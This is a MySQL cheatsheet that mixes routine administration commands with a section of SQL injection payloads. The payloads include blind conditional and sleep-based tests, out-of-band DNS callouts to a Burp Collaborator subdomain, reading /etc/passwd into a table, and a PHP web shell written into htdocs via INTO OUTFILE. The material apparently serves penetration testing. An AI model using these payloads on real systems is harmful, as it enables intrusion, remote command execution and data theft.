MySQL cheatsheet

Connect to a database

mysql -h localhost -u root -p

Query DB in non interactive mode

mysql -h <host> -u<user> -p<password> database -e "SELECT * FROM blah WHERE foo='bar';"

Execute SQL queries from file in non interactive mode

mysql -h "hostname" -u usr_name -pPASSWD "db_name" < sql_script_file

---

Backup/restore

To backup all databases

mysqldump --all-databases --all-routines -u root -p > ~/fulldump.sql

To restore all databases

mysql -u root -p  < ~/fulldump.sql

---

Repair databases

mysqlcheck --all-databases;
mysqlcheck --all-databases --fast;

---

Reset root password

Stop database server

/etc/init.d/mysql stop

Start MySQL without password

mysqld_safe --skip-grant-tables

Change password

mysql
mysql> UPDATE mysql.user SET password=PASSWORD('new_pass') WHERE user='root';

Start server

/etc/init.d/mysql start

Database info

Show databases

SHOW DATABASES;

Display tables

SHOW TABLES;
SHOW FIELDS FROM table / DESCRIBE table;

List the privileges granted to the account

SHOW GRANTS FOR CURRENT_USER();
SHOW GRANTS;
SHOW GRANTS FOR CURRENT_USER;

---

Select

SELECT * FROM tbl_name;

Conditions

SELECT ... FROM ... WHERE condition

Group by

SELECT ... FROM ... WHERE condition GROUP BY field;
SELECT ... FROM ... WHERE condition GROUP BY field HAVING condition2;

Sorting

SELECT ... FROM ... WHERE condition ORDER BY field1, field2;
SELECT ... FROM ... WHERE condition ORDER BY field1, field2 DESC;

Distinct

SELECT DISTINCT field1 FROM ...
SELECT DISTINCT field1, field2 FROM ...

Join

SELECT ... FROM t1 JOIN t2 ON t1.id1 = t2.id2 WHERE condition;
SELECT ... FROM t1 LEFT JOIN t2 ON t1.id1 = t2.id2 WHERE condition;

---

Insert

INSERT INTO tbl_name (col1, col2) VALUES(1, 2);

---

Update

UPDATE tbl_name SET col1 = "example";

Condition

UPDATE table1 SET field1=new_value1 WHERE condition;

---

Delete

DELETE FROM tbl_name WHERE user = 'user1';

---

Conditional errors

SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a') 

---

Time delay

Sleep

SELECT sleep(10)

Conditional delay

SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a') 

---

DNS lookup

LOAD_FILE('\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\\a')
SELECT ... INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a'

---

Syntax

String concatenation

'foo' 'bar'
concat('foo', 'bar')

Comments

#comment
-- comment
/*comment*/

DB version

select @@version

Data dir

select @@datadir

DB contents

SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

or all tables or columns using group_concat

SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()
SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME='<table-name>'

Current user

curent_user()

Database

database()

Write PHP web shell into htdocs

SELECT '<?php system($_GET["c"]); ?>' into outfile 'c:\\xampp\\htdocs\\test.php' #

Write PHP web shell with union select

UNION SELECT 1, '<?php system($_GET["c"]); ?>',3,4 into outfile 'c:\\xampp\\htdocs\\test.php' #

Loading files into database

Load file from the server file system into DB (file read):

load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n' ;

Load local file (from toe client) into DB:

load data local infile "/etc/passwd"  int o table test FIELDS TERMINATED BY '\n' ; 

Create user

CREATE USER 'user'@'localhost';

Add a user and give rights on the given database

GRANT ALL PRIVILEGES ON database.* TO 'user'@'localhost'IDENTIFIED BY 'password' WITH GRANT OPTION;

Grant select, insert, delete to the user

GRANT SELECT, INSERT, DELETE ON base.* TO 'user'@'localhost' IDENTIFIED BY 'password';

Revoke permission

REVOKE ALL PRIVILEGES ON base.* FROM 'user'@'host';

Set password

SET PASSWORD FOR 'user'@'host' = PASSWORD('new_pass');

Drop user

DROP USER 'user'@'host';

Create

CREATE TABLE table (col1 type1, col2 type2);
CREATE TABLE table (col1 type1, col2 type2, INDEX (col1));
CREATE TABLE table (col1 type1, col2 type2, PRIMARY KEY (col1));
CREATE TABLE table (col1 type1, col2 type2, PRIMARY KEY (col1,col2));

---

Modify

ALTER TABLE table MODIFY col1 type1
ALTER TABLE table MODIFY col1 type1 NOT NULL ...
ALTER TABLE table CHANGE old_col1 new_col1 type1

Add column

ALTER TABLE table ADD col1 type1
ALTER TABLE table ADD col1 type1 FIRST
ALTER TABLE table ADD col1 type1 AFTER col2

Drop column

ALTER TABLE table DROP col1

Add index

ALTER TABLE table ADD INDEX (col1);

---

Drop table

DROP TABLE table;
DROP TABLE IF EXISTS table;
DROP TABLE table1, table2, ...

Create a database in utf8 charset

CREATE DATABASE owa CHARACTER SET utf8 COLLATE utf8_general_ci;